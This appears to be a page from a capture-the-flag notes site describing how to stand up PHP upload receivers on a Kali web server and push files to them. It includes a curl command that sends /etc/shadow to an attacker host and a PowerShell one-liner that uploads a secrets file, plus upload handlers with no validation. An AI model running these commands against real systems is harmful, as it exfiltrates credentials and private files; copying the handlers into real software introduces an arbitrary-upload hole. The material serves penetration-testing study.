> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/web/miscellaneous/upload-forms-and-scripts.md).

# Upload Forms and Scripts

Below different web forms and scripts to upload files to a Kali web server are shown.

## Form for Unix/Linux

### HTML Form

```html
<html>
<head></head>
<body>
<h4> File uploads </h4>
<form enctype="multipart/form-data" action="upload.php"
    method="post">
<p>
Select File:
<input type="file" name="uploadedfile" />
<input type="submit" name="Upload" value="Upload" />
</p>
</form>
</body>
</html>
```

This form uses and requires an `uploads` subdirectory to the web root (usually `/var/www/html`).

### Supporting PHP-script

```php
<?php 

$target_path = "uploads/"; 
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']); 

echo "Source=" . $_FILES['uploadedfile']['name'] . "<br />"; 
echo "Target path=" . $target_path . "<br />"; 
echo "Size=" . $_FILES['uploadedfile']['size'] . "<br />"; 

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { 
echo "The file " . basename( $_FILES['uploadedfile']['name']) . " has been uploaded"; 
} else{ 
echo "There was an error uploading the file, please try again!"; 
} 
?>
```

### Upload example

Upload example with `curl`

```bash
curl --form "uploadedfile=@/etc/shadow" http://192.168.48.3/upload.php
```

## Script for Windows

No HTML-form is needed for Windows/PowerShell, just a PHP-script.

### PHP-Script

```php
<?php 
$uploaddir = '/var/www/html/uploads/';

$uploadfile = $uploaddir . $_FILES['file']['name'];

move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```

### Upload example

Upload example with PowerShell

```powershell
powershell (New-Object System.Net.WebClient).UploadFile('http://192.168.48.3/uploadWindows.php', '.\Secrets.jpg')
```
